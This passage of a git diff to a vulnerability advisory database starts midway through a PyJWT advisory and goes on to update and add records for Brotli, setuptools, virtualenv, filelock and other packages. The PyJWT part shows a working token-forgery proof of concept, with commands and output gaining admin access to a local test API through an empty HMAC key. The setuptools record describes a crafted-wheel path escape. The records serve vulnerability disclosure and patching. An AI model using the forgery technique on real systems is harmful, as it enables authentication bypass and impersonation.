si.encode(), hashlib.sha256).digest()\nprint(si+\".\"+b64u(sig))\n```\n\nRun:\n\n```bash\npython -m venv v && ./v/bin/pip install \"PyJWT==2.13.0\" flask\n( SIGNING_SECRET= ./v/bin/python idp.py & ) ; ./v/bin/python api.py &\nFORGED=$(./v/bin/python forge.py \"\")\ncurl -s -H \"Authorization: Bearer $FORGED\" http://127.0.0.1:9102/api/admin/users\n```\n\nVerbatim run (attack, both negative controls, sanity, and patched-build re-run):\n\n```\n### PyJWT version\n2.13.0\n\n### JWKS published by the auth service (note the empty \"k\"):\n{\"keys\":[{\"alg\":\"HS256\",\"k\":\"\",\"kid\":\"auth-signing-2026\",\"kty\":\"oct\",\"use\":\"sig\"}]}\n\n### Baseline: unauthenticated request to admin endpoint\nHTTP 401\n\n### ATTACK: attacker forges HS256 admin token signed with the EMPTY key\nforged token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6ImF1dGgtc2lnbmluZy0yMDI2In0.eyJzdWIiOiJhdHRhY2tlckBldmlsLmV4YW1wbGUiLCJyb2xlIjoiYWRtaW4ifQ.iwgDP9D-oD0zXWMEUhx710f_NjHWKkrLVgjPAOtEUSQ\nresponse:\n{\"action\":\"list_all_users\",\"as_user\":\"attacker@evil.example\",\"ok\":true,\"role\":\"admin\"}\n <-- HTTP 200\n\n### NEGATIVE CONTROL 1: forge with a WRONG non-empty key (IdP still empty) -> reject\n{\"error\":\"invalid token: InvalidSignatureError\"}\n <-- HTTP 401\n\n### NEGATIVE CONTROL 2: IdP restarted with a REAL non-empty secret; empty-key forgery must now fail\nJWKS now has non-empty k:\n{\"keys\":[{\"alg\":\"HS256\",\"k\":\"YS1yZWFsLTMyLWJ5dGUtc3Ryb25nLXNlY3JldC12YWx1ZS0xMjM0\",\"kid\":\"auth-signing-2026\",\"kty\":\"oct\",\"use\":\"sig\"}]}\n{\"error\":\"invalid token: InvalidSignatureError\"}\n <-- HTTP 401\n\n### Sanity: a legitimately-signed token with the real secret is accepted\n{\"action\":\"list_all_users\",\"as_user\":\"attacker@evil.example\",\"ok\":true,\"role\":\"admin\"}\n <-- HTTP 200\n\n### PATCHED BUILD (from_jwk rejects empty k): re-run the empty-key forgery -> now rejected\nJWKS (empty k, vulnerable config):\n{\"keys\":[{\"alg\":\"HS256\",\"k\":\"\",\"kid\":\"auth-signing-2026\",\"kty\":\"oct\",\"use\":\"sig\"}]}\n{\"error\":\"invalid token: PyJWKSetError\"}\n <-- HTTP 401\n```\n\nThe attack returns HTTP 200 with `role:admin` from an unauthenticated forged\ntoken. Both negative controls (wrong non-empty key; real non-empty secret at the\nauth service) return 401, isolating the defect to empty-key acceptance. The\npatched build (the `from_jwk` fix below) rejects the forgery.\n\n### Impact\n\n- Unauthenticated authentication bypass / token forgery: an attacker mints tokens\n with arbitrary claims (`role:admin`, arbitrary `sub`) that verify successfully,\n yielding full impersonation and privilege escalation on any endpoint gated by\n such tokens.\n- Reachable through the documented JWKS verification API\n (`PyJWKClient` / `PyJWKSet` / `PyJWK`), not just direct `HMACAlgorithm` use.\n- Triggered by the common \"unset signing secret\" misconfiguration that the\n string-secret path already rejects in 2.13.0, leaving the JWK path as an\n asymmetric gap.\n\n### Suggested fix\n\nReject a zero-length key in `HMACAlgorithm.from_jwk`, mirroring the guard that\n`prepare_key` already applies:\n\n```python\nif obj.get(\"kty\") != \"oct\":\n raise InvalidKeyError(\"Not an HMAC key\")\n\nkey_bytes = base64url_decode(obj[\"k\"])\nif len(key_bytes) == 0:\n raise InvalidKeyError(\"HMAC key must not be empty.\")\nreturn key_bytes\n```\n\nThis reuses the exact error message and length check the string/bytes path uses,\nso both HMAC key-loading routes enforce the same invariant. A regression test for\nthe empty-`k` oct JWK belongs next to `test_hmac_from_jwk_should_raise_exception_if_empty_json`.\n\n### Fix PR\n\nhttps://github.com/jpadilla/pyjwt-ghsa-pxh4-856f-4h89/pull/1 (private advisory\ntemp fork, base `master`, branch `fix/hmac-from-jwk-reject-empty-key`,\nDCO-signed; adds `test_hmac_from_jwk_rejects_empty_k`; `test_algorithms.py`,\n`test_api_jwk.py`, `test_api_jws.py` pass).\n\n### Credit\n\nReported by tonghuaroot.\n\n> Maintainer update (2026-09-10): We reproduced the reported behavior: an `oct` JWK with an empty `k` value was decoded to an empty HMAC key and accepted through the JWK/PyJWK verification path, while the raw string/bytes path correctly rejected an empty key. The fix adds the same empty-key validation at the JWK boundary and includes a regression test. It is committed as `af8181ca0bec5e6b372fbba9afbe23702b787ceb` and has passed the available project tox environments, including crypto and non-crypto tests on Python 3.9, 3.12, and 3.13, plus mypy, package metadata, and coverage checks. Fresh Astra/max review accepted the fix and confirmed that nonempty, binary, and asymmetric-key behavior remains unchanged. The fix has not yet shipped in a released PyJWT version, so this advisory is being moved to draft and remains unpublished pending release.\n\n## Maintainer update — 2026-09-11\n\nThe verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-pxh4-856f-4h89" + }, + { + "type": "WEB", + "url": "https://github.com/jpadilla/pyjwt/commit/af8181ca0bec5e6b372fbba9afbe23702b787ceb" + }, + { + "type": "PACKAGE", + "url": "https://github.com/jpadilla/pyjwt" + }, + { + "type": "WEB", + "url": "https://github.com/jpadilla/pyjwt/releases/tag/2.14.0" + } + ] +} diff --git a/advisories/BREW-posting-CVE-2025-43859.json b/advisories/BREW-posting-CVE-2025-43859.json index 43d910ce31b..c5ddd92af0d 100644 --- a/advisories/BREW-posting-CVE-2025-43859.json +++ b/advisories/BREW-posting-CVE-2025-43859.json @@ -2,7 +2,7 @@ "schema_version": "1.7.3", "id": "BREW-posting-CVE-2025-43859", "published": "2026-08-13T17:28:48Z", - "modified": "2026-09-17T18:13:53Z", + "modified": "2026-10-29T22:29:59Z", "upstream": [ "GHSA-vqfr-h8mv-ghfj", "CVE-2025-43859", @@ -73,9 +73,17 @@ "type": "WEB", "url": "https://github.com/python-hyper/h11/commit/114803a29ce50116dc47951c690ad4892b1a36ed" }, + { + "type": "WEB", + "url": "https://github.com/pypa/advisory-database/tree/main/vulns/h11/PYSEC-2026-348.yaml" + }, { "type": "PACKAGE", "url": "https://github.com/python-hyper/h11" + }, + { + "type": "WEB", + "url": "https://pypi.org/project/h11" } ] } diff --git a/advisories/BREW-posting-CVE-2025-6176.json b/advisories/BREW-posting-CVE-2025-6176.json index 96aa6b5646c..9a6c3f3864e 100644 --- a/advisories/BREW-posting-CVE-2025-6176.json +++ b/advisories/BREW-posting-CVE-2025-6176.json @@ -2,7 +2,7 @@ "schema_version": "1.7.3", "id": "BREW-posting-CVE-2025-6176", "published": "2026-08-13T17:28:48Z", - "modified": "2026-10-07T23:40:26Z", + "modified": "2026-10-29T22:26:16Z", "upstream": [ "GHSA-2qfp-q593-8484", "CVE-2025-6176", @@ -34,7 +34,7 @@ "range_state": "fixed", "upstream_fixed_in": "1.2.0", "resource": "brotli", - "resource_purl": "pkg:pypi/brotli@1.2.0" + "resource_purl": "pkg:pypi/brotli@1.2.1" } } ], @@ -47,8 +47,8 @@ "strategy": "registry", "ecosystem": "PyPI", "name": "brotli", - "subject_version": "1.2.0", - "key": "pkg:pypi/brotli@1.2.0", + "subject_version": "1.2.1", + "key": "pkg:pypi/brotli@1.2.1", "resource": "brotli" } ] diff --git a/advisories/BREW-posting-CVE-2026-111497.json b/advisories/BREW-posting-CVE-2026-111497.json new file mode 100644 index 00000000000..0789d52aea3 --- /dev/null +++ b/advisories/BREW-posting-CVE-2026-111497.json @@ -0,0 +1,196 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-posting-CVE-2026-111497", + "published": "2026-10-29T22:29:59Z", + "modified": "2026-10-29T22:29:59Z", + "upstream": [ + "GHSA-9v8h-qqgm-4m35", + "BIT-brotli-2026-111497", + "BIT-dotnet-2026-111497", + "BIT-dotnet-sdk-2026-111497", + "BIT-node-2026-111497", + "BIT-node-min-2026-111497", + "BIT-powershell-2026-111497", + "CVE-2026-111497", + "PYSEC-2026-4322", + "PYSEC-2026-4323" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "posting", + "purl": "pkg:brew/posting" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "2.7.1" + }, + { + "fixed": "2.11.2_1" + } + ] + } + ], + "ecosystem_specific": { + "fix": "bump", + "range_state": "fixed", + "upstream_fixed_in": "1.2.1", + "resource": "brotli", + "resource_purl": "pkg:pypi/brotli@1.2.1" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "brotli", + "subject_version": "1.2.1", + "key": "pkg:pypi/brotli@1.2.1", + "resource": "brotli" + } + ] + }, + "summary": "Brotli: Out-of-bounds write in the Brotli decoder (\"Node2Shell\") also affects the PyPI Brotli package", + "details": "A buffer overflow vulnerability in the Brotli decoder (c/dec/decode.c) in Google Brotli versions 1.0.3 through 1.2.0 on all platforms allows a remote unauthenticated attacker to corrupt adjacent decoder state memory, disclose sensitive memory contents, cause a denial of service, or potentially execute arbitrary code using a crafted Brotli-compressed stream.\n\nUsers need to update any Brotli libraries or binaries between 1.0.3 through 1.2.0 to the latest available version: 1.0.10 or 1.1.1 or 1.2.1.", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N" + } + ], + "references": [ + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-111497" + }, + { + "type": "WEB", + "url": "https://github.com/dotnet/announcements/issues/494" + }, + { + "type": "WEB", + "url": "https://github.com/google/brotli/commit/0ed4268a4401abcb4472096340477cf4af7d1a2b" + }, + { + "type": "WEB", + "url": "https://github.com/google/brotli/commit/50a9b70a4d5e1443fc40927952276b68fffa83a0" + }, + { + "type": "WEB", + "url": "https://github.com/google/brotli/commit/b418fa81c48262a86a95332b0bc6d62c30aa78b6" + }, + { + "type": "WEB", + "url": "https://github.com/google/brotli/commit/da9806362874b9bd4b552a3af360b5d6347beb12" + }, + { + "type": "WEB", + "url": "https://www.cve.org/CVERecord?id=CVE-2026-111497" + }, + { + "type": "WEB", + "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-111497" + }, + { + "type": "WEB", + "url": "https://www.aikido.dev/blog/node2shell-nodejs-brotli-rce-cve-2026-111497" + }, + { + "type": "WEB", + "url": "https://pypi.org/project/brotlicffi" + }, + { + "type": "WEB", + "url": "https://pypi.org/project/Brotli" + }, + { + "type": "WEB", + "url": "https://patchtheplanet.org/brotli" + }, + { + "type": "WEB", + "url": "https://opensourcemalware.com/blog/node2shell-affects-python" + }, + { + "type": "WEB", + "url": "https://nodejs.org/en/blog/vulnerability/october-2026-security-releases#nodejs-brotli-decoder-out-of-bounds-write-permits-remote-code-execution-cve-2026-111497---high" + }, + { + "type": "WEB", + "url": "https://nodejs.org/en/blog/vulnerability/october-2026-security-releases" + }, + { + "type": "WEB", + "url": "https://lists.debian.org/debian-lts-announce/2026/10/msg00049.html" + }, + { + "type": "WEB", + "url": "https://github.com/pypa/advisory-database/tree/main/vulns/brotlicffi/PYSEC-2026-4323.yaml" + }, + { + "type": "WEB", + "url": "https://github.com/pypa/advisory-database/tree/main/vulns/brotli/PYSEC-2026-4322.yaml" + }, + { + "type": "WEB", + "url": "https://github.com/google/brotli/releases/tag/v1.2.1" + }, + { + "type": "WEB", + "url": "https://github.com/google/brotli/releases/tag/v1.1.1" + }, + { + "type": "WEB", + "url": "https://github.com/google/brotli/releases/tag/v1.0.10" + }, + { + "type": "PACKAGE", + "url": "https://github.com/google/brotli" + }, + { + "type": "WEB", + "url": "https://github.com/andybalholm/brotli/releases/tag/v1.2.7" + }, + { + "type": "ADVISORY", + "url": "https://github.com/advisories/GHSA-9v8h-qqgm-4m35" + }, + { + "type": "WEB", + "url": "https://ellio.tech/en/blog/node2shell-cve-2026-111497-rce-on-stock-nodejs-builds" + }, + { + "type": "WEB", + "url": "https://broccoli2shell.com" + }, + { + "type": "WEB", + "url": "http://www.openwall.com/lists/oss-security/2026/10/23/25" + }, + { + "type": "WEB", + "url": "http://www.openwall.com/lists/oss-security/2026/10/24/6" + }, + { + "type": "WEB", + "url": "http://www.openwall.com/lists/oss-security/2026/10/26/12" + }, + { + "type": "WEB", + "url": "http://www.openwall.com/lists/oss-security/2026/10/26/13" + }, + { + "type": "WEB", + "url": "http://www.openwall.com/lists/oss-security/2026/10/26/16" + } + ] +} diff --git a/advisories/BREW-posting-CVE-2026-58203.json b/advisories/BREW-posting-CVE-2026-58203.json index 65ddbd7827f..5056c9a2354 100644 --- a/advisories/BREW-posting-CVE-2026-58203.json +++ b/advisories/BREW-posting-CVE-2026-58203.json @@ -2,7 +2,7 @@ "schema_version": "1.7.3", "id": "BREW-posting-CVE-2026-58203", "published": "2026-08-13T17:28:48Z", - "modified": "2026-10-21T09:00:06Z", + "modified": "2026-10-29T22:29:59Z", "upstream": [ "GHSA-4xgf-cpjx-pc3j", "CVE-2026-58203" @@ -32,7 +32,7 @@ "range_state": "fixed", "upstream_fixed_in": "2.14.2", "resource": "pydantic-settings", - "resource_purl": "pkg:pypi/pydantic-settings@2.16.0" + "resource_purl": "pkg:pypi/pydantic-settings@2.16.1" } } ], @@ -45,8 +45,8 @@ "strategy": "registry", "ecosystem": "PyPI", "name": "pydantic-settings", - "subject_version": "2.16.0", - "key": "pkg:pypi/pydantic-settings@2.16.0", + "subject_version": "2.16.1", + "key": "pkg:pypi/pydantic-settings@2.16.1", "resource": "pydantic-settings" } ] diff --git a/advisories/BREW-pypy3.11-CVE-2026-13346.json b/advisories/BREW-pypy3.11-CVE-2026-13346.json index 5b39f0870dd..0c8a9bdf25c 100644 --- a/advisories/BREW-pypy3.11-CVE-2026-13346.json +++ b/advisories/BREW-pypy3.11-CVE-2026-13346.json @@ -2,7 +2,7 @@ "schema_version": "1.7.3", "id": "BREW-pypy3.11-CVE-2026-13346", "published": "2026-08-23T21:23:32Z", - "modified": "2026-09-17T18:14:13Z", + "modified": "2026-10-29T22:37:36Z", "upstream": [ "PYSEC-2026-3721", "CVE-2026-13346", @@ -33,7 +33,7 @@ "range_state": "fixed", "upstream_fixed_in": "26.2.0", "resource": "pip", - "resource_purl": "pkg:pypi/pip@26.2.1" + "resource_purl": "pkg:pypi/pip@26.2.2" } } ], @@ -46,8 +46,8 @@ "strategy": "registry", "ecosystem": "PyPI", "name": "pip", - "subject_version": "26.2.1", - "key": "pkg:pypi/pip@26.2.1", + "subject_version": "26.2.2", + "key": "pkg:pypi/pip@26.2.2", "resource": "pip" } ] diff --git a/advisories/BREW-pypy3.11-GHSA-xmj3-9gf7-h52w.json b/advisories/BREW-pypy3.11-GHSA-xmj3-9gf7-h52w.json new file mode 100644 index 00000000000..231388f88ec --- /dev/null +++ b/advisories/BREW-pypy3.11-GHSA-xmj3-9gf7-h52w.json @@ -0,0 +1,80 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-pypy3.11-GHSA-xmj3-9gf7-h52w", + "published": "2026-10-29T22:37:36Z", + "modified": "2026-10-29T22:37:36Z", + "upstream": [ + "GHSA-xmj3-9gf7-h52w" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "pypy3.11", + "purl": "pkg:brew/pypy3.11" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "7.3.23" + } + ] + } + ], + "ecosystem_specific": { + "fix": null, + "range_state": "affected", + "upstream_fixed_in": "84.1.0", + "resource": "setuptools", + "resource_purl": "pkg:pypi/setuptools@84.0.0" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "setuptools", + "subject_version": "84.0.0", + "key": "pkg:pypi/setuptools@84.0.0", + "resource": "setuptools" + } + ] + }, + "summary": "setuptools: Windows path escape via namespace_packages.txt during legacy wheel installation Description", + "details": "### Summary\n\nOn Windows, attacker-controlled content in a wheel's\n`.dist-info/namespace_packages.txt` can cause setuptools' legacy wheel\ninstallation path to create an `__init__.py` outside the requested\n`destination_eggdir`.\n\nThe attacker can influence the destination path, but not the contents of\nthe created file.\n\n### Details\n\nTested setuptools commit:\n\n`6ead555c5fb29bc57fe6105b1bffc163f56fd558`\n\nRelevant source:\n\n`setuptools/wheel.py`\n\nSHA-256:\n\n`359b7e0d5dd8c3135653abe08a8ed5dc0352eadfd7df22cb5e2b5303b7c3cafd`\n\nThe relevant call path is:\n\n`Wheel(wheel_path).install_as_egg(destination)`\n→ `_install_as_egg`\n→ `_convert_metadata`\n→ `_fix_namespace_packages`\n\nA wheel can provide attacker-controlled content in:\n\n`.dist-info/namespace_packages.txt`\n\nThe namespace value is eventually used approximately as:\n\n```python\nmod_dir = os.path.join(destination_eggdir, *mod.split('.'))\nmod_init = os.path.join(mod_dir, '__init__.py')\n\nIf mod is a Windows drive-qualified absolute path containing no dots,\nmod.split('.') preserves it as a single component.\nOn Windows, os.path.join(destination_eggdir, absolute_component) discards\nthe original base directory and resolves to the attacker-supplied absolute\npath.\nThe existing wheel filename and ZIP traversal checks do not validate this\nmetadata value before it is subsequently interpreted as a filesystem path.\n\n```markdown\n### PoC\n\nThe reproduction was performed entirely inside a disposable temporary\ndirectory.\n\nLayout:\n\n```text\nsandbox/\n destination/\n outside/\n input/\n canary.txt\n```\n\nA synthetic wheel was created containing:\n\n`demo_pkg-1.0.dist-info/namespace_packages.txt`\n\nwhose content was the absolute path of:\n\n`sandbox\\outside`\n\nThe real acquired setuptools implementation was then invoked:\n\n```python\nsetuptools.wheel.Wheel(synthetic_wheel).install_as_egg(\n sandbox_destination\n)\n```\n\nThe operation completed without exception.\n\nExpected metadata was created under:\n\n`sandbox\\destination\\EGG-INFO`\n\nbut setuptools also created:\n\n`sandbox\\outside\\__init__.py`\n\nThe file did not exist before execution.\n\nIts contents were:\n\n```python\n__import__('pkg_resources').declare_namespace(__name__)\n```\n\nThe unrelated canary remained byte-identical.\n\nThe sandbox was deleted after recording the evidence.\n```\n\n\n### Impact\n\nA crafted wheel can cause setuptools to create a fixed-content\n`__init__.py` outside the intended installation directory at a\nfilesystem path influenced by the wheel, with the permissions of the\nprocess performing the installation.\n\nThe demonstrated reproduction required the target parent directory to\nalready exist.", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:A/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/pypa/setuptools/security/advisories/GHSA-xmj3-9gf7-h52w" + }, + { + "type": "WEB", + "url": "https://github.com/pypa/setuptools/pull/5329" + }, + { + "type": "WEB", + "url": "https://github.com/pypa/setuptools/commit/6d07b8d17890dda58d944ac51e58f54af92d52af" + }, + { + "type": "PACKAGE", + "url": "https://github.com/pypa/setuptools" + }, + { + "type": "WEB", + "url": "https://github.com/pypa/setuptools/releases/tag/v84.1.0" + } + ] +} diff --git a/advisories/BREW-virtualenv-CVE-2011-4617.json b/advisories/BREW-virtualenv-CVE-2011-4617.json index 3f303d7aa56..d77f2814d4f 100644 --- a/advisories/BREW-virtualenv-CVE-2011-4617.json +++ b/advisories/BREW-virtualenv-CVE-2011-4617.json @@ -2,7 +2,7 @@ "schema_version": "1.7.3", "id": "BREW-virtualenv-CVE-2011-4617", "published": "2026-08-13T17:46:53Z", - "modified": "2026-10-21T09:05:28Z", + "modified": "2026-10-29T23:11:49Z", "upstream": [ "GHSA-3jhc-wjqf-5f2c", "CVE-2011-4617", @@ -44,8 +44,8 @@ "strategy": "registry", "ecosystem": "PyPI", "name": "virtualenv", - "subject_version": "21.14.11", - "key": "pkg:pypi/virtualenv@21.14.11" + "subject_version": "21.15.1", + "key": "pkg:pypi/virtualenv@21.15.1" }, { "strategy": "distro", @@ -57,15 +57,15 @@ "strategy": "distro", "ecosystem": "GIT", "name": "https://github.com/pypa/virtualenv", - "subject_version": "21.14.11", + "subject_version": "21.15.1", "key": "upstream:https://github.com/pypa/virtualenv" }, { "strategy": "distro", "ecosystem": "PyPI", "name": "virtualenv", - "subject_version": "21.14.11", - "key": "upstream:pkg:pypi/virtualenv@21.14.11" + "subject_version": "21.15.1", + "key": "upstream:pkg:pypi/virtualenv@21.15.1" } ] }, diff --git a/advisories/BREW-virtualenv-CVE-2024-53899.json b/advisories/BREW-virtualenv-CVE-2024-53899.json index 06d62e359ee..b3f875190f5 100644 --- a/advisories/BREW-virtualenv-CVE-2024-53899.json +++ b/advisories/BREW-virtualenv-CVE-2024-53899.json @@ -2,7 +2,7 @@ "schema_version": "1.7.3", "id": "BREW-virtualenv-CVE-2024-53899", "published": "2026-08-13T17:46:53Z", - "modified": "2026-10-21T09:05:28Z", + "modified": "2026-10-29T23:06:10Z", "upstream": [ "CVE-2024-53899", "BIT-virtualenv-2024-53899", @@ -45,15 +45,15 @@ "strategy": "git", "ecosystem": "GIT", "name": "https://github.com/pypa/virtualenv", - "subject_version": "21.14.11", + "subject_version": "21.15.1", "key": "https://github.com/pypa/virtualenv" }, { "strategy": "registry", "ecosystem": "PyPI", "name": "virtualenv", - "subject_version": "21.14.11", - "key": "pkg:pypi/virtualenv@21.14.11" + "subject_version": "21.15.1", + "key": "pkg:pypi/virtualenv@21.15.1" }, { "strategy": "distro", @@ -65,15 +65,15 @@ "strategy": "distro", "ecosystem": "GIT", "name": "https://github.com/pypa/virtualenv", - "subject_version": "21.14.11", + "subject_version": "21.15.1", "key": "upstream:https://github.com/pypa/virtualenv" }, { "strategy": "distro", "ecosystem": "PyPI", "name": "virtualenv", - "subject_version": "21.14.11", - "key": "upstream:pkg:pypi/virtualenv@21.14.11" + "subject_version": "21.15.1", + "key": "upstream:pkg:pypi/virtualenv@21.15.1" }, { "strategy": "distro", diff --git a/advisories/BREW-virtualenv-CVE-2025-68146.json b/advisories/BREW-virtualenv-CVE-2025-68146.json index 1f1da55a8e8..7bcc266cd7c 100644 --- a/advisories/BREW-virtualenv-CVE-2025-68146.json +++ b/advisories/BREW-virtualenv-CVE-2025-68146.json @@ -2,7 +2,7 @@ "schema_version": "1.7.3", "id": "BREW-virtualenv-CVE-2025-68146", "published": "2026-08-13T17:46:53Z", - "modified": "2026-10-21T09:05:28Z", + "modified": "2026-10-29T23:11:49Z", "upstream": [ "GHSA-w853-jp5j-5j7f", "CVE-2025-68146", @@ -33,7 +33,7 @@ "range_state": "fixed", "upstream_fixed_in": "3.20.1", "resource": "filelock", - "resource_purl": "pkg:pypi/filelock@4.2.2" + "resource_purl": "pkg:pypi/filelock@4.2.4" } } ], @@ -46,8 +46,8 @@ "strategy": "registry", "ecosystem": "PyPI", "name": "filelock", - "subject_version": "4.2.2", - "key": "pkg:pypi/filelock@4.2.2", + "subject_version": "4.2.4", + "key": "pkg:pypi/filelock@4.2.4", "resource": "filelock" } ] diff --git a/advisories/BREW-virtualenv-CVE-2026-102925.json b/advisories/BREW-virtualenv-CVE-2026-102925.json index 2bdced84bf6..f0b20cb570e 100644 --- a/advisories/BREW-virtualenv-CVE-2026-102925.json +++ b/advisories/BREW-virtualenv-CVE-2026-102925.json @@ -2,7 +2,7 @@ "schema_version": "1.7.3", "id": "BREW-virtualenv-CVE-2026-102925", "published": "2026-10-05T04:49:24Z", - "modified": "2026-10-21T09:05:28Z", + "modified": "2026-10-29T23:06:10Z", "upstream": [ "CVE-2026-102925", "GHSA-p58f-9548-mpm2", @@ -45,15 +45,15 @@ "strategy": "git", "ecosystem": "GIT", "name": "https://github.com/pypa/virtualenv", - "subject_version": "21.14.11", + "subject_version": "21.15.1", "key": "https://github.com/pypa/virtualenv" }, { "strategy": "registry", "ecosystem": "PyPI", "name": "virtualenv", - "subject_version": "21.14.11", - "key": "pkg:pypi/virtualenv@21.14.11" + "subject_version": "21.15.1", + "key": "pkg:pypi/virtualenv@21.15.1" }, { "strategy": "distro", @@ -65,15 +65,15 @@ "strategy": "distro", "ecosystem": "GIT", "name": "https://github.com/pypa/virtualenv", - "subject_version": "21.14.11", + "subject_version": "21.15.1", "key": "upstream:https://github.com/pypa/virtualenv" }, { "strategy": "distro", "ecosystem": "PyPI", "name": "virtualenv", - "subject_version": "21.14.11", - "key": "upstream:pkg:pypi/virtualenv@21.14.11" + "subject_version": "21.15.1", + "key": "upstream:pkg:pypi/virtualenv@21.15.1" }, { "strategy": "distro", diff --git a/advisories/BREW-virtualenv-CVE-2026-102930.json b/advisories/BREW-virtualenv-CVE-2026-102930.json index cfd3ab3af04..cbf9c277baf 100644 --- a/advisories/BREW-virtualenv-CVE-2026-102930.json +++ b/advisories/BREW-virtualenv-CVE-2026-102930.json @@ -2,7 +2,7 @@ "schema_version": "1.7.3", "id": "BREW-virtualenv-CVE-2026-102930", "published": "2026-10-05T19:15:39Z", - "modified": "2026-10-21T09:05:28Z", + "modified": "2026-10-29T23:06:10Z", "upstream": [ "CVE-2026-102930", "GHSA-94p9-xgh2-xp45", @@ -45,15 +45,15 @@ "strategy": "git", "ecosystem": "GIT", "name": "https://github.com/pypa/virtualenv", - "subject_version": "21.14.11", + "subject_version": "21.15.1", "key": "https://github.com/pypa/virtualenv" }, { "strategy": "registry", "ecosystem": "PyPI", "name": "virtualenv", - "subject_version": "21.14.11", - "key": "pkg:pypi/virtualenv@21.14.11" + "subject_version": "21.15.1", + "key": "pkg:pypi/virtualenv@21.15.1" }, { "strategy": "distro", @@ -65,15 +65,15 @@ "strategy": "distro", "ecosystem": "GIT", "name": "https://github.com/pypa/virtualenv", - "subject_version": "21.14.11", + "subject_version": "21.15.1", "key": "upstream:https://github.com/pypa/virtualenv" }, { "strategy": "distro", "ecosystem": "PyPI", "name": "virtualenv", - "subject_version": "21.14.11", - "key": "upstream:pkg:pypi/virtualenv@21.14.11" + "subject_version": "21.15.1", + "key": "upstream:pkg:pypi/virtualenv@21.15.1" }, { "strategy": "distro", diff --git a/advisories/BREW-virtualenv-CVE-2026-102938.json b/advisories/BREW-virtualenv-CVE-2026-102938.json index 594f768dea1..2026fb34bf3 100644 --- a/advisories/BREW-virtualenv-CVE-2026-102938.json +++ b/advisories/BREW-virtualenv-CVE-2026-102938.json @@ -2,7 +2,7 @@ "schema_version": "1.7.3", "id": "BREW-virtualenv-CVE-2026-102938", "published": "2026-10-05T19:15:39Z", - "modified": "2026-10-21T09:05:28Z", + "modified": "2026-10-29T23:06:10Z", "upstream": [ "CVE-2026-102938", "GHSA-9h9j-4vrj-gf7g", @@ -45,15 +45,15 @@ "strategy": "git", "ecosystem": "GIT", "name": "https://github.com/pypa/virtualenv", - "subject_version": "21.14.11", + "subject_version": "21.15.1", "key": "https://github.com/pypa/virtualenv" }, { "strategy": "registry", "ecosystem": "PyPI", "name": "virtualenv", - "subject_version": "21.14.11", - "key": "pkg:pypi/virtualenv@21.14.11" + "subject_version": "21.15.1", + "key": "pkg:pypi/virtualenv@21.15.1" }, { "strategy": "distro", @@ -65,15 +65,15 @@ "strategy": "distro", "ecosystem": "GIT", "name": "https://github.com/pypa/virtualenv", - "subject_version": "21.14.11", + "subject_version": "21.15.1", "key": "upstream:https://github.com/pypa/virtualenv" }, { "strategy": "distro", "ecosystem": "PyPI", "name": "virtualenv", - "subject_version": "21.14.11", - "key": "upstream:pkg:pypi/virtualenv@21.14.11" + "subject_version": "21.15.1", + "key": "upstream:pkg:pypi/virtualenv@21.15.1" }, { "strategy": "distro", diff --git a/advisories/BREW-virtualenv-CVE-2026-112906.json b/advisories/BREW-virtualenv-CVE-2026-112906.json new file mode 100644 index 00000000000..d3a4a046059 --- /dev/null +++ b/advisories/BREW-virtualenv-CVE-2026-112906.json @@ -0,0 +1,88 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-virtualenv-CVE-2026-112906", + "published": "2026-10-29T23:11:49Z", + "modified": "2026-10-29T23:11:49Z", + "upstream": [ + "GHSA-2g95-wg33-c5x2", + "CVE-2026-112906" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "virtualenv", + "purl": "pkg:brew/virtualenv" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "21.14.7" + }, + { + "fixed": "21.14.10" + } + ] + } + ], + "ecosystem_specific": { + "fix": "bump", + "range_state": "fixed", + "upstream_fixed_in": "4.2.1", + "resource": "filelock", + "resource_purl": "pkg:pypi/filelock@4.2.4" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "filelock", + "subject_version": "4.2.4", + "key": "pkg:pypi/filelock@4.2.4", + "resource": "filelock" + } + ] + }, + "summary": "filelock: SoftFileLock evicts a fresh lock file whose watched age another local user's pre-dated file passed on through inode reuse", + "details": "`SoftFileLock` and `MarkerSoftFileLock` evict an unparsable marker (the lock file at ``, whose presence says a process holds the lock) once a waiting contender has watched it unchanged for two seconds. `SoftFileLease` expires a lease the same way. The watch tells two looks apart by the marker's modification time (mtime) and inode number (the kernel's identity for a file, independent of its name) alone.\n\nAnother local user (the other user below) who can create files in the lock's directory, a sticky `/tmp` included (the sticky bit is a directory flag that lets only a file's owner remove it), parks an empty file of its own at the lock path. It dates that file to a future tick of the kernel's coarse 